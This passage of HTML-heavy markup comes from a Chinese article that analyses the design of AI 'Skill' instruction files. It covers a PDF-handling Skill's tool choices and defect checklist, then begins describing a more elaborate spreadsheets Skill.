4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdfplumber</span></code><span leaf=""> 作为文本提取的备用方案，兼顾了保真度与效率。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：工具选型聚焦</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 在创建 PDF 时，明确将 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">reportlab</span></code><span leaf=""> 指定为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“首选核心工具”</span></strong><span leaf="">，其他库（如 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pypdf</span></code><span leaf="">, </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pyMuPDF</span></code><span leaf="">）则作为可选补充。这避免了 AI 在多个功能重叠的库之间摇摆不定，提高了决策效率。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：负面清单式质检</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 质量标准部分，集中罗列了常见的渲染错误，如</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">黑块、文本截断、乱码、表格错乱</span></strong><span leaf="">等，形成了一个清晰的“负面清单”，让 AI 可以像 Code Review 一样逐项排查。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：强约束的交付标准</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 在最终检查环节，使用</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“零视觉缺陷方可交付”</span></strong><span leaf="">这样的强硬措辞，将验收标准提升为不可逾越的红线。</span></p></li></ul></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">设计洞察</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdfs</span></code><span leaf=""> Skill 的精髓在于</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“简化决策”</span></strong><span leaf="">和</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“明确底线”</span></strong><span leaf="">。 通过确立唯一的首选工具，它极大地降低了 AI 在技术选型上的认知负荷。而在质量控制上，它没有描述“好的 PDF 应该是什么样”，而是清晰地定义了“哪些问题是绝对不能出现的”。这种“负面清单”的方法，比宽泛的正面描述更具可操作性和可检验性，确保了交付质量的下限。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">3. </span><code><span leaf="">spreadsheets</span></code><span leaf=""> Skill</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">电子表格任务的复杂度远超普通人的想象，它融合了数据处理、公式计算、格式化排版甚至数据可视化。</span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> Skill 是这三个 Skill 中最复杂、最精巧的一个，堪称典范。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：场景前置</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 在开头就明确定义了适用场景（创建、编辑、分析、可视化），先回答</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“什么时候用”</span></strong><span leaf="">，再展开说“怎么用”。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：分层方法论</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 将指导原则（Guidelines）分为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">工具选择、结果校验、文件路径</span></strong><span leaf="">三个层次，层层递进，结构清晰。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：规则的显式化与模块化</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: 